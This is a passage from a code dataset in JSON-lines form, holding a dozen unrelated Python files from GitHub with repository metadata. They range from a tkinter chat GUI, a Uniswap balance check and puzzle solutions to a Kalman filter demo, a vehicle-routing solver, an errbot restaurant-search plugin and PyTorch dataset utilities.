ttk.Frame(frame)\n        bottom_frame.grid(sticky='nsew')\n\n        self.user_input_text = scrolledtext.ScrolledText(bottom_frame, wrap='word', background=\"oldlace\", height=2, font=('Ubuntu', 16)) # Set the font size and height\n        self.user_input_text.grid(row=0, column=0, sticky='nsew')\n        \n        # Bind the user_input_text widget to the Modified event\n        self.user_input_text.bind('<<Modified>>', self.update_token_count)\n\n        # Create a new frame for the counters\n        counter_frame = ttk.Frame(bottom_frame)\n        counter_frame.grid(row=2, column=0, sticky='nsew')\n\n        # Move token and cost labels to counter_frame\n        self.token_count = tk.StringVar()\n        self.cost_of_input = tk.StringVar()\n        self.token_count.set(\"Input token count: 0\")\n        self.cost_of_input.set(\"Cost of input: 0$\")\n        token_label = tk.Label(counter_frame, textvariable=self.token_count)\n        cost_label = tk.Label(counter_frame, textvariable=self.cost_of_input)\n        token_label.pack(side='top')\n        cost_label.pack(side='top')\n\n        send_button = ttk.Button(bottom_frame, text='Send', command=self.ai_manager.run_chat, style='TButton')\n        send_button.grid(row=1, column=0)\n\n        bottom_frame.grid_columnconfigure(0, weight=1)\n\n    def update_text_area(self, response):\n        # Stop the loading animation\n        html = markdown.markdown(response)\n        self.is_loading = False\n        # Create HTML for the response\n        response_html = f'<p style=\"background-color: lightblue;\">Bot: {html}</p><br/>'\n\n        # Append the new message to the existing HTML content and update the widget\n        self.current_html += response_html\n        self.text_area.set_html(self.current_html)\n\n    def reset_conversation(self):\n        self.conversation = []\n        self.total_cost = 0\n        self.total_tokens = 0\n        reset_html = \"<p>Conversation reset.</p>\"\n        self.text_area.set_html(reset_html)\n        self.current_html = reset_html\n        self.total_token_count.set(f\"Total tokens: 0\")\n        self.total_cost_of_input.set(f\"Total cost: 0$\")\n","repo_name":"christ-offer/gpt-functions-gui","sub_path":"gui/chat_tab.py","file_name":"chat_tab.py","file_ext":"py","file_size_in_byte":14067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"36525243970","text":"from uniswap import Uniswap\n\neth = \"0x0000000000000000000000000000000000000000\"\nbat = \"0x0D8775F648430679A709E98d2b0Cb6250d2887EF\"\ndai = \"0x6B175474E89094C44Da98b954EedeAC495271d0F\"\n\n\n# address = \"YOUR ADDRESS\"  # or None if you're not going to make transactions\n# private_key = \"YOUR PRIVATE KEY\"  # or None if you're not going to make transactions\n# version = 3  # specify which version of Uniswap to use\n# provider = \"WEB3 PROVIDER URL\"  # can also be set through the environment variable `PROVIDER`\n# uniswap = Uniswap(address=address, private_key=private_key, version=version, provider=provider)\n# from web3 import Web3\n# w3 = Web3()\nprovider = 'https://mainnet.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161'\nuniswap = Uniswap(address='0xB8C25C9eB9374f8704880aeD79c25416456dAB9A', private_key=None, version=2, provider=provider)\neth_balance = uniswap.get_eth_balance()\nprint(eth_balance, eth_balance / 1e18)\n\n","repo_name":"mstrHW/MPTestProject","sub_path":"module/trading_platforms/uniswap_api/try_uniswap.py","file_name":"try_uniswap.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12612284527","text":"import re, pprint\n\ninput_file = open('./day7_input.txt', 'r')\nlines = input_file.readlines()\n\ncontents = {}\n\nfor line in lines:\n    line = line.strip('.\\n') \n    line = line.replace('bags','')\n    line = line.replace('bag','')\n    line = line.replace('  ',' ')\n    parent_children = line.split(' contain ')\n    parent = parent_children[0]\n    children_arr = parent_children[1].split(',')\n    if children_arr == ['no other ']:\n        continue\n    children = {' '.join(x.strip().split(' ')[1:]): int(x.strip().split(' ')[0]) for x in children_arr}\n    contents[parent] = children\n# pprint.pp(contents)\n\n\nall_parents = set()\ndef find_parent_tree(init_bag, contents, depth):\n    # print('starting bag')\n    # print(init_bag)\n    one_level_up_parents = set()\n    for k,v in contents.items():\n        if init_bag in v.keys():\n            # print('found_parent')\n            one_level_up_parents.add(k)\n            all_parents.add(k)\n    if one_level_up_parents:\n        # print('take another lap')\n        for p in one_level_up_parents:\n            # print(p)\n            # print('find all parents of')\n            find_parent_tree(p,contents,depth+1)\n    else:\n        pass\n        # print('all done')\n    return\n\nfind_parent_tree('shiny gold',contents,1)\n# print(all_parents)\nprint(len(all_parents))\n\n# part 2\n\ndef count_all_children(bag,contents,depth):\n    if bag not in contents.keys():\n        return 0\n    count=0\n    for b,cnt in contents[bag].items():\n        num_children = 0\n        print(b + \":\" + str(cnt))\n        num_children = (count_all_children(b,contents,depth+1)+1)*cnt\n        print(b + \":\" + str(cnt) + \">>\" + str(num_children))\n        count += num_children\n        print (count)\n    return count\n\nprint(count_all_children('shiny gold',contents,1))","repo_name":"Jsyro/aoc2020","sub_path":"2020/day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74253088511","text":"\nfrom PyQt5.QtWidgets import QListWidget, QListWidgetItem\nfrom PyQt5.Qt import Qt\nfrom .CustomListItem import CustomListItem\n\n\nclass QueueSong(QListWidget):\n    '''\n    represente une liste d'attente\n\n    :param board: le tableau de bord du lecteur\n    :type board: model.Board\n    :param getterQueue: le getter de la queue ciblee\n    :type getterQueue: function\n    :param getterOtherQueue: le getter de l'autre queue\n    :type getterOtherQueue: function\n    '''\n\n    def __init__(self, board, getterQueue, getterOtherQueue):\n        QListWidget.__init__(self)\n\n        self.setProperty(\"class\", \"queue\")\n\n        self.board = board\n        self.getterQueue = getterQueue\n        self.getterOtherQueue = getterOtherQueue\n        self.queue = getterQueue()\n        self.otherQueue = getterOtherQueue()\n        self.update()\n        self.doubleClicked.connect(self.moveSong)\n\n    def getIndexSelected(self):\n        return self.currentRow()\n\n    def setSelectedIndex(self, index):\n        self.setCurrentRow(index)\n\n    def moveSong(self):\n        index = self.getIndexSelected()\n        self.board.moveSongOfQueue(self.queue, self.otherQueue, index)\n\n    def keyPressEvent(self, event):\n        indexSelected = self.getIndexSelected()\n        if event.key() == Qt.Key_Return:\n            # entrer permet de deplacer la musique de liste\n            self.moveSong()\n        indexTarget = indexSelected\n        if event.key() == Qt.Key_Up:\n            # on veut faire un deplacement vers le haut\n            indexTarget -= 1\n        elif event.key() == Qt.Key_Down:\n            # on veut faire un deplacement vers le bas\n            indexTarget += 1\n        if event.modifiers() & Qt.ControlModifier:\n            # si Ctrl est pressee\n            if indexTarget != indexSelected and self.queue.isInIndex(indexTarget):\n                # si l'echange entre la musique selectionnee et celle voulue (en dessus ou en dessous)\n                # est possible\n                self.board.switchSong(self.queue, indexSelected, indexTarget)\n            if self.queue == self.board.getPrimaryQueue():\n                # la liste d'attente represente est la liste prioritaire\n                keyMove = Qt.Key_Right\n            else:\n                # sinon c'est la liste secondaire\n                keyMove = Qt.Key_Left\n            if event.key() == keyMove:\n                # la key de l'event est choisi selon la liste representant par la classe ci-dessus\n                self.moveSong()\n                if indexSelected > self.count() - 1:\n                    # si c'est le dernier element de la liste qui a ete deplace, on change l'indice selectionne\n                    indexSelected -= 1\n        self.setCurrentRow(indexSelected)\n        QListWidget.keyPressEvent(self, event)\n\n    def update(self):\n        index = self.currentIndex()\n        # on vide la liste de ces widgets\n        self.clear()\n        # on remet en place les listes\n        self.queue = self.getterQueue()\n        self.otherQueue = self.getterOtherQueue()\n        for k in range(self.queue.size()):\n            # remplissage de la liste d'attente par les widgets customs\n            song = self.queue.getElementAt(k)\n            item = CustomListItem(song=song)\n            listItem = QListWidgetItem(self)\n            listItem.setSizeHint(item.sizeHint())\n            self.addItem(listItem)\n            self.setItemWidget(listItem, item)\n        self.setCurrentIndex(index)\n","repo_name":"ValentinLe/lecteur_musique","sub_path":"src/gui/QueueSong.py","file_name":"QueueSong.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12537233361","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.modules.utils import _pair, _quadruple\n\nclass AWPool2d(nn.Module):\n    def __init__(self, kernel_size=3, stride=1, padding=0, temperature=1, same=False):\n        super(AWPool2d, self).__init__()\n        self.k = _pair(kernel_size)\n        self.stride = _pair(stride)\n        self.padding = _quadruple(padding) # convert to l, r, t, b\n        self.t = temperature\n        self.same = same\n\n    def _padding(self, x):\n        if self.same:\n            ih, iw = x.size()[2:]\n            if ih % self.stride[0] == 0:\n                ph = max(self.k[0] - self.stride[0], 0)\n            else:\n                ph = max(self.k[0] - (ih % self.stride[0]), 0)\n\n            if iw % self.stride[1] == 0:\n                pw = max(self.k[1] - self.stride[1], 0)\n            else:\n                pw = max(self.k[1] - (iw % self.stride[1]), 0)\n            \n            pl = pw // 2\n            pr = pw - pl\n            pt = ph // 2\n            pb = ph - pt\n            padding = (pl, pr, pt, pb)\n\n        else:\n            padding = self.padding\n\n        return padding\n\n    def forward(self, x):\n        x = F.pad(x, self._padding(x), mode='reflect')\n        x = x.unfold(2, self.k[0], self.stride[0]).unfold(3, self.k[1], self.stride[1])\n        B, C, o_h, o_w = x.size()[:4]\n        w = F.softmax(x.contiguous().view(B, C, o_h, o_w, -1) / self.t, dim=-1)\n        # generate pool weights\n        w = w.view(B, C, o_h, o_w, self.k[0], self.k[1])\n        \n        return torch.sum((w * x).view(B, C, o_h, o_w, -1), dim=-1)","repo_name":"Larry234/AWPooling","sub_path":"models/awpooling.py","file_name":"awpooling.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25645719034","text":"# Lesson: Avoid making ALL permutatiobs whenever possible\n# Potential improvement: rework to avoid all the string<->int conversions\n\nfrom itertools import permutations\nfrom math import log10\n\ndef list_to_int(l:list) -> int:\n    res = 0\n    place = 0\n    for i in l[::-1]:\n        res+= i*(10**place)\n        place += 1\n    return(res)\n\ndef power_permutations(power: int,num_of_permutations: int) -> int:\n    current_powers = []\n    num = 1\n    while True:\n        while int(log10(num**power)) == int(log10((num+1)**power)):\n            current_powers.append(num**power)\n            num += 1\n        current_powers.append(num**power)\n        while current_powers:\n            perms = [i for i in current_powers if sorted(list(str(i))) == sorted(list(str(current_powers[0])))]\n            if not perms:\n                current_powers.remove(current_powers[0])\n            if len(perms) == num_of_permutations:\n                return(min(perms))\n            else:\n                for perm in perms:\n                    current_powers.remove(perm)\n        current_powers.clear()\n        perms.clear()\n        num+=1 \n\ndef main() -> int: \n    return(power_permutations(3,5))\n\nif __name__==\"__main__\":\n    from time import perf_counter\n    start = perf_counter()\n    print(main())\n    print(perf_counter()-start)\n","repo_name":"RBaner/Project_Euler","sub_path":"Python 3.8+/51-75/Problem 062/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71387380672","text":"from collections import namedtuple\r\nfrom sys import stdout\r\n \r\nNode = namedtuple('Node', 'data, left, right')\r\ntree = Node(1,\r\n            Node(2,\r\n                 Node(4,\r\n                      Node(7, None, None),\r\n                      None),\r\n                 Node(5, None, None)),\r\n            Node(3,\r\n                 Node(6,\r\n                      Node(8, None, None),\r\n                      Node(9, None, None)),\r\n                 None))\r\n \r\ndef printwithspace(i):\r\n    stdout.write(\"%i \" % i)\r\n \r\ndef preorder(node, visitor = printwithspace):\r\n    if node is not None:\r\n        visitor(node.data)\r\n        preorder(node.left, visitor)\r\n        preorder(node.right, visitor)\r\n \r\nstdout.write('  preorder: ')\r\npreorder(tree)\r\nstdout.write('\\n')\r\n","repo_name":"LakunleD/PythonProjects","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7265766797","text":"import pandas as pd\r\nimport numpy as np\r\nfrom filterpy.kalman import ExtendedKalmanFilter\r\nimport matplotlib.pyplot as plt\r\n\r\n# File path of the dataset\r\nfile_path = r\"C:\\Users\\SHAIK VAZEER AHAMED\\Downloads\\Land vehicle\\Stationary_MRU_2021.xlsx\"\r\n\r\n# Load dataset\r\ndata = pd.read_excel(file_path)\r\n\r\n# Replace NaN values with previous valid values\r\ndata = data.fillna(method='ffill')\r\n\r\n# Convert non-numeric values to NaN\r\nnumeric_columns = ['Magn_Z', 'Magn_Y', 'Magn_X', 'Acc_Z', 'Acc_Y', 'Acc_X', 'Gyro_Z', 'Gyro_Y', 'Gyro_X', 'Heading', 'Pitch', 'Roll', 'P_Bar', 'Altitude', 'Long', 'Lat']\r\ndata[numeric_columns] = data[numeric_columns].apply(pd.to_numeric, errors='coerce')\r\n\r\n# Create Extended Kalman Filter\r\nnum_states = 9  # Number of states to track\r\ndim_z = 3  # Number of measurements\r\n\r\nekf = ExtendedKalmanFilter(dim_x=num_states, dim_z=dim_z)\r\n\r\n# Initialize Extended Kalman Filter\r\ninitial_state = np.zeros(num_states)\r\ninitial_covariance = np.eye(num_states)\r\n\r\nekf.x = initial_state\r\nekf.P = initial_covariance\r\n\r\nH = np.array([[0, 0, 0, 0, 0, 1, 0, 0, 0],\r\n              [0, 0, 0, 0, 1, 0, 0, 0, 0],\r\n              [0, 0, 0, 1, 0, 0, 0, 0, 0]])\r\n\r\ndef h(x):\r\n    # Measurement function: relates the state to the measurements\r\n    return np.dot(H, x)\r\n\r\ndef H_jacobian(x):\r\n    # Jacobian of the measurement function: partial derivatives of h with respect to the state variables\r\n    return H\r\n\r\nekf.H = H\r\nekf.h = h\r\nekf.HJacobian = H_jacobian\r\n\r\n# Define transition function and process noise\r\ndt = 1.0\r\ndef f(x):\r\n    F = np.eye(num_states)\r\n    F[0, 3] = dt\r\n    F[1, 4] = dt\r\n    F[2, 5] = dt\r\n    return F.dot(x)\r\n\r\nekf.f = f\r\nekf.Q = np.eye(num_states) * 0.01\r\n\r\n# Apply Extended Kalman Filter to the dataset\r\nfiltered_data = []\r\nfor index, row in data.iterrows():\r\n    measurement = np.array([row['Acc_X'], row['Acc_Y'], row['Acc_Z']]).astype(np.float64)\r\n    ekf.predict()\r\n    ekf.update(measurement,H_jacobian,h)\r\n    filtered_data.append(ekf.x[:dim_z])\r\n\r\n# Convert filtered data to numpy array\r\nfiltered_data = np.array(filtered_data)\r\n\r\n# Plot the original and filtered data\r\nplt.figure(figsize=(12, 6))\r\n\r\n# Plot original data\r\nplt.subplot(1, 2, 1)\r\nplt.plot(data.index, data['Acc_X'], label='Original Acc_X')\r\nplt.plot(data.index, data['Acc_Y'], label='Original Acc_Y')\r\nplt.plot(data.index, data['Acc_Z'], label='Original Acc_Z')\r\nplt.xlabel('Index')\r\nplt.ylabel('Acceleration')\r\nplt.title('Original Data')\r\nplt.legend()\r\n\r\n# Plot filtered data\r\nplt.subplot(1, 2, 2)\r\nplt.plot(data.index, filtered_data[:, 0], label='Filtered Acc_X')\r\nplt.plot(data.index, filtered_data[:, 1], label='Filtered Acc_Y')\r\nplt.plot(data.index, filtered_data[:, 2], label='Filtered Acc_Z')\r\nplt.xlabel('Index')\r\nplt.ylabel('Acceleration')\r\nplt.title('Filtered Data')\r\nplt.legend()\r\n\r\nplt.tight_layout()\r\nplt.show()\r\n","repo_name":"SHAIKVAZEERAHAMED/KF-EKF","sub_path":"vaz19.py","file_name":"vaz19.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28817347398","text":"\"\"\"Capacited Vehicles Routing Problem (CVRP).\"\"\"\n\nfrom typing import Any, Dict, Tuple\n\nfrom ortools.constraint_solver import pywrapcp, routing_enums_pb2\n\n# https://developers.google.com/optimization/routing/cvrp\n\n\ndef main(\n    data: Dict,\n) -> Tuple[Dict, pywrapcp.RoutingIndexManager, pywrapcp.RoutingModel, Any]:\n    \"\"\"Solve the CVRP problem.\"\"\"\n    # argument: instantiated data problem.\n\n    # Create the routing index manager.\n    manager = pywrapcp.RoutingIndexManager(\n        len(data[\"distance_matrix\"]), data[\"num_vehicles\"], data[\"start\"], data[\"end\"]\n    )\n\n    # Create Routing Model.\n    routing = pywrapcp.RoutingModel(manager)\n\n    # Create and register a transit callback.\n    def distance_callback(from_index, to_index):\n        \"\"\"Returns the distance between the two nodes.\"\"\"\n        # Convert from routing variable Index to distance matrix NodeIndex.\n        from_node = manager.IndexToNode(from_index)\n        to_node = manager.IndexToNode(to_index)\n        return data[\"distance_matrix\"][from_node][to_node]\n\n    transit_callback_index = routing.RegisterTransitCallback(distance_callback)\n\n    # Define cost of each arc.\n    routing.SetArcCostEvaluatorOfAllVehicles(transit_callback_index)\n\n    # Add Capacity constraint.\n    def demand_callback(from_index):\n        \"\"\"Returns the demand of the node.\"\"\"\n        # Convert from routing variable Index to demands NodeIndex.\n        from_node = manager.IndexToNode(from_index)\n        return data[\"demands\"][from_node]\n\n    demand_callback_index = routing.RegisterUnaryTransitCallback(demand_callback)\n    routing.AddDimensionWithVehicleCapacity(\n        demand_callback_index,\n        0,  # null capacity slack\n        data[\"vehicle_capacities\"],  # vehicle maximum capacities\n        True,  # start cumul to zero\n        \"Capacity\",\n    )\n\n    # Setting first solution heuristic.\n    search_parameters = pywrapcp.DefaultRoutingSearchParameters()\n    search_parameters.first_solution_strategy = (\n        routing_enums_pb2.FirstSolutionStrategy.PATH_CHEAPEST_ARC\n    )\n\n    # Solve the problem.\n    solution = routing.SolveWithParameters(search_parameters)\n\n    return data, manager, routing, solution\n","repo_name":"fladdimir/csa-vcom","sub_path":"be-django/project/beapp/tour_planning/ortools_cvrp.py","file_name":"ortools_cvrp.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"17996486216","text":"import json\r\nimport os\r\n\r\n\r\n\r\nlistOfClasses = ['1A','1B','1C','2A','2B']      #Expected to be gathered at input\r\nlistOfDays = ['monday', 'tuesday', 'wednesday', 'thursday', 'friday']   #Expected to be gathered at input\r\n\r\n\r\n\r\n\r\ndef __retrJSON(jsonFileName):         #Loads the Origin file(JSON) - 1 arg\r\n    with open('{}.json'.format(jsonFileName)) as temp:\r\n        jsonFile = json.load(temp)\r\n    return jsonFile\r\n\r\ndef __tableBorder():            #Creates the bottom and top lines of the table\r\n    tempStr = '+---------'*10 + '+' + '\\n'\r\n    return tempStr\r\n\r\ndef __colNum():       #Creates 10 Columns - first column empty, \r\n    tempStr = '|' + ' '*9 + '|'\r\n    for i in range(1,10):\r\n        tempStr +=  '{:<9}'.format(i) + '|'\r\n    tempStr += '\\n'\r\n    return tempStr\r\n\r\ndef __subLine(day,periodList):        #Given a list containing periods of a day, returns a string\r\n    day = day[0:3].capitalize()     #Truncates day string to 3 letters\r\n    tempStr = '|' + '{:<9}'.format(day) + '|'\r\n    for period in periodList:\r\n        tempStr += '{:<9}'.format(period) + '|'\r\n    tempStr += '\\n'\r\n    return tempStr\r\n\r\ndef __rowsep():                 # Creates row seperators\r\n    tempStr = '|---------' + '+---------'*9+ '|' + '\\n'\r\n    return tempStr\r\n\r\n\r\n\r\n\r\n\r\n    \r\ndef genClassTt(jsonFileName):       #Generates the class timetable\r\n    data = __retrJSON(jsonFileName)\r\n\r\n    desktop = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop') #Var assigned 'path of Desktop' (code for windows)\r\n    # desktop = os.path.join(os.path.join(os.path.expanduser('~')), 'Desktop')              # Code for Unix\r\n    dirStr = '{}\\\\{}'.format(desktop,'Student Timetables')\r\n    try:\r\n        os.mkdir(dirStr)                                                                #This Directory to be created in another directory called Timetables (If there is time)\r\n    except FileExistsError:\r\n        print('Directory already exists. Will do ammendments in the directory.')\r\n\r\n#For eachClass iterates over JSON file to retrieve timetable the particular class,\r\n#And generates a timetable for each class as a text file\r\n#And stores them in a directory named 'Student Timetables' on the desktop.\r\n    for eachClass in listOfClasses:\r\n        rawClassTt = []\r\n        for Day in data:                #Appends each day's periods to rawClasTt[]\r\n            rawClassTt.append(data[Day][eachClass])\r\n        \r\n        with open('{}\\\\{}.txt'.format(dirStr,eachClass), mode='w') as file:        \r\n            tempStr = __tableBorder()\r\n            file.write(tempStr)\r\n            tempStr = __colNum()\r\n            file.write(tempStr)\r\n            for i in range(5):\r\n                tempStr = __rowsep()\r\n                file.write(tempStr)\r\n                tempStr = __subLine(listOfDays[i], rawClassTt[i])\r\n                file.write(tempStr)\r\n            tempStr = __tableBorder()\r\n            file.write(tempStr)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n                \r\ngenClassTt('jsonSample')\r\n\r\n\r\n\r\n","repo_name":"tfidfwastaken/sem1_project","sub_path":"O.P Generation/Stu_Timetable_Gen.py","file_name":"Stu_Timetable_Gen.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"10090804871","text":"import random\nfrom collections import namedtuple\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom errbot import BotPlugin, arg_botcmd\n\n\nShopInfo = namedtuple('ShopInfo', ('name', 'url'))\n\n\nclass JpFoods(BotPlugin):\n    def get_configuration_template(self):\n        return {\n            'RWS_API_KEY': '000011112222',\n            'RWS_AREA_CODE': 'XX00',\n            'GNAVI_API_KEY': '000011112222',\n            'GNAVI_AREA_CODE': 'AREAS00000',\n        }\n\n    @arg_botcmd('keyword', type=str)\n    def jp_foods_search(self, msg, keyword):\n        \"\"\"Hotpepper, ぐるなびから、周辺のお店情報を検索します\n        \"\"\"\n        shop_list = []\n        shop_list += self._search_by_rws(keyword)\n        shop_list += self._search_by_gnavi(keyword)\n        if len(shop_list) == 0:\n            return '検索に引っかかりませんでした'\n        return '\\n'.join([f\"- {s.name} {s.url}\" for s in shop_list])\n\n    @arg_botcmd('keyword', type=str)\n    @arg_botcmd('-n', '--num', dest='num', type=int, default=3)\n    def jp_foods_choice(self, msg, keyword, num=3):\n        shop_list = []\n        shop_list += self._search_by_rws(keyword)\n        shop_list += self._search_by_gnavi(keyword)\n        if len(shop_list) == 0:\n            return 'キーワード検索に引っかかりませんでした'\n        return 'このあたりはどうでしょう？\\n' + \\\n            '\\n'.join([\n                f\"- {s.name} {s.url}\" for s in random.sample(shop_list, num)\n            ])\n\n    def _search_by_rws(self, keyword):\n        \"\"\"周辺のホットペッパー掲載サイトをキーワード検索します\n        \"\"\"\n        api_key = self.config.get('RWS_API_KEY', False)\n        if not api_key:\n            return []\n        area_code = self.config.get('RWS_AREA_CODE', False)\n        if not area_code:\n            return []\n        # Fetch from RWS の小マスターAPIを利用（エリア:Y005\n        url = f\"http://webservice.recruit.co.jp/hotpepper/gourmet/v1/\" \\\n            f\"?key={api_key}&small_area={area_code}&keyword={keyword}\"\n        resp = requests.get(url)\n        soup = BeautifulSoup(resp.content, 'html.parser')\n        shop_list = []\n        for s in soup.find_all('shop'):\n            shop_list.append(\n                ShopInfo(s.find('name').string, s.urls.pc.string))\n        return shop_list\n\n    def _search_by_gnavi(self, keyword):\n        api_key = self.config.get('GNAVI_API_KEY', False)\n        if not api_key:\n            return []\n        # 晴海\n        area_code = self.config.get('GNAVI_AREA_CODE', False)\n        if not area_code:\n            return []\n        url = f\"https://api.gnavi.co.jp/RestSearchAPI/v3/\"\\\n            f\"?keyid={api_key}&areacode_s={area_code}&freeword={keyword}\"\n        resp = requests.get(url)\n        data = resp.json()\n        shop_list = []\n        for s in data.get('rest', []):\n            shop_list.append(\n                ShopInfo(s['name'], s['url']))\n        return shop_list\n","repo_name":"attakei/errbot-jp-foods-plugin","sub_path":"jpfoods.py","file_name":"jpfoods.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11202380113","text":"try:\n    from typing import Protocol, Sequence, List, Any, Iterable, Union, \\\n        Optional, SupportsInt, TypeVar, Tuple\nexcept ImportError:\n    from typing import Sequence, List, Any, Iterable, Union, Optional, \\\n         SupportsInt, TypeVar, Tuple\n    from typing_extensions import Protocol\n\nimport torch\nfrom torch import Tensor\nfrom torch.utils.data.dataset import Dataset\n\nT_co = TypeVar('T_co', covariant=True)\n\n\n# General rule: consume IDatasetWithTargets, produce DatasetWithTargets.\n#\n# That is, accept IDatasetWithTargets as parameter to functions/constructors\n# (when possible), but always expose/return instances of DatasetWithTargets to\n# the, user (no matter what). The main difference is that DatasetWithTargets is\n# a subclass of the PyTorch Dataset while IDatasetWithTargets is just a\n# Protocol. This will allow the user to pass any custom dataset while\n# receiving Dataset subclasses as outputs at the same time. This will allow\n# popular IDEs (like PyCharm) to properly execute type checks and warn the user\n# if something is wrong.\n\nTTargetType = TypeVar('TTargetType', bound=SupportsInt)\n\n\nclass IDataset(Protocol[T_co]):\n    \"\"\"\n    Protocol definition of a Dataset.\n\n    Note: no __add__ method is defined.\n    \"\"\"\n\n    def __getitem__(self, index: int) -> Union[Tuple[T_co, int],\n                                               Tuple[T_co, int, int]]:\n        ...\n\n    def __len__(self) -> int:\n        ...\n\n\nclass IDatasetWithTargets(IDataset[T_co], Protocol):\n    \"\"\"\n    Protocol definition of a Dataset that has a valid targets field (like the\n    Datasets in the torchvision package).\n\n    Note: no __add__ method is defined.\n    \"\"\"\n\n    targets: Sequence[SupportsInt]\n    \"\"\"\n    A sequence of ints or a PyTorch Tensor or a NumPy ndarray describing the\n    label of each pattern contained in the dataset.\n    \"\"\"\n\n    def __getitem__(self, index: int) -> Union[Tuple[T_co, int],\n                                               Tuple[T_co, int, int]]:\n        ...\n\n    def __len__(self) -> int:\n        ...\n\n\nclass ITensorDataset(IDataset[T_co], Protocol):\n    \"\"\"\n    Protocol definition of a Dataset that has a tensors field (like\n    TensorDataset).\n\n    Note: no __add__ method is defined.\n    \"\"\"\n\n    tensors: Sequence[T_co]\n    \"\"\"\n    A sequence of PyTorch Tensors describing the contents of the Dataset.\n    \"\"\"\n\n    def __getitem__(self, index: int) -> Union[Tuple[T_co, int],\n                                               Tuple[T_co, int, int]]:\n        ...\n\n    def __len__(self) -> int:\n        ...\n\n\nclass IDatasetWithIntTargets(IDatasetWithTargets[T_co], Protocol):\n    \"\"\"\n    Protocol definition of a Dataset that has a valid targets field (like the\n    Datasets in the torchvision package) where the targets field is a sequence\n    of native ints.\n    \"\"\"\n\n    targets: Sequence[int]\n    \"\"\"\n    A sequence of ints describing the label of each pattern contained in the\n    dataset.\n    \"\"\"\n\n    def __getitem__(self, index: int) -> Union[Tuple[T_co, int],\n                                               Tuple[T_co, int, int]]:\n        ...\n\n    def __len__(self) -> int:\n        ...\n\n\nclass DatasetWithTargets(IDatasetWithIntTargets[T_co], Dataset):\n    \"\"\"\n    Dataset that has a valid targets field (like the Datasets in the\n    torchvision package) where the targets field is a sequence of native ints.\n\n    The actual value of the targets field should be set by the child class.\n    \"\"\"\n    def __init__(self):\n        self.targets = []\n        \"\"\"\n        A sequence of ints describing the label of each pattern contained in the\n        dataset.\n        \"\"\"\n\n\nclass LazyClassMapping(Sequence[int]):\n    \"\"\"\n    This class is used when in need of lazy populating a targets field whose\n    elements need to be filtered out (when subsetting, see\n    :class:`torch.utils.data.Subset`) and/or transformed (remapped). This will\n    allow for a more efficient memory usage as the conversion is done on the fly\n    instead of actually allocating a new targets list.\n    \"\"\"\n    def __init__(self,\n                 targets: Sequence[SupportsInt],\n                 indices: Union[Sequence[int], None],\n                 mapping: Optional[Sequence[int]] = None):\n        self._targets = targets\n        self._mapping = mapping\n        self._indices = indices\n\n    def __len__(self):\n        if self._indices is None:\n            return len(self._targets)\n        return len(self._indices)\n\n    def __getitem__(self, item_idx) -> int:\n        if self._indices is not None:\n            subset_idx = self._indices[item_idx]\n        else:\n            subset_idx = item_idx\n\n        target_value = int(self._targets[subset_idx])\n\n        if self._mapping is not None:\n            return self._mapping[target_value]\n\n        return target_value\n\n    def __str__(self):\n        return '[' + \\\n               ', '.join([str(self[idx]) for idx in range(len(self))]) + \\\n               ']'\n\n\nclass LazyConcatTargets(Sequence[int]):\n    \"\"\"\n    Defines a lazy targets concatenation.\n\n    This class is used when in need of lazy populating a targets created\n    as the concatenation of the targets field of multiple datasets.\n    This will allow for a more efficient memory usage as the concatenation is\n    done on the fly instead of actually allocating a new targets list.\n    \"\"\"\n    def __init__(self, targets_list: Sequence[Sequence[SupportsInt]]):\n        self._targets_list = targets_list\n        self._targets_lengths = [len(targets) for targets in targets_list]\n        self._overall_length = sum(self._targets_lengths)\n\n    def __len__(self):\n        return self._overall_length\n\n    def __getitem__(self, item_idx) -> int:\n        targets_idx, internal_idx = find_list_from_index(\n            item_idx, self._targets_lengths, self._overall_length)\n        return int(self._targets_list[targets_idx][internal_idx])\n\n    def __str__(self):\n        return '[' + \\\n               ', '.join([str(self[idx]) for idx in range(len(self))]) + \\\n               ']'\n\n\nclass LazyTargetsConversion(Sequence[int]):\n    \"\"\"\n    Defines a lazy conversion of targets defined in some other format.\n    \"\"\"\n    def __init__(self, targets: Sequence[SupportsInt]):\n        self._targets = targets\n\n    def __len__(self):\n        return len(self._targets)\n\n    def __getitem__(self, item_idx) -> int:\n        return int(self._targets[item_idx])\n\n    def __str__(self):\n        return '[' + \\\n               ', '.join([str(self[idx]) for idx in range(len(self))]) + \\\n               ']'\n\n\nclass ConstantSequence(Sequence[int]):\n    \"\"\"\n    Defines a lazy conversion of targets defined in some other format.\n    \"\"\"\n    def __init__(self, constant_value: int, size: int):\n        self._constant_value = constant_value\n        self._size = size\n\n    def __len__(self):\n        return self._size\n\n    def __getitem__(self, item_idx) -> 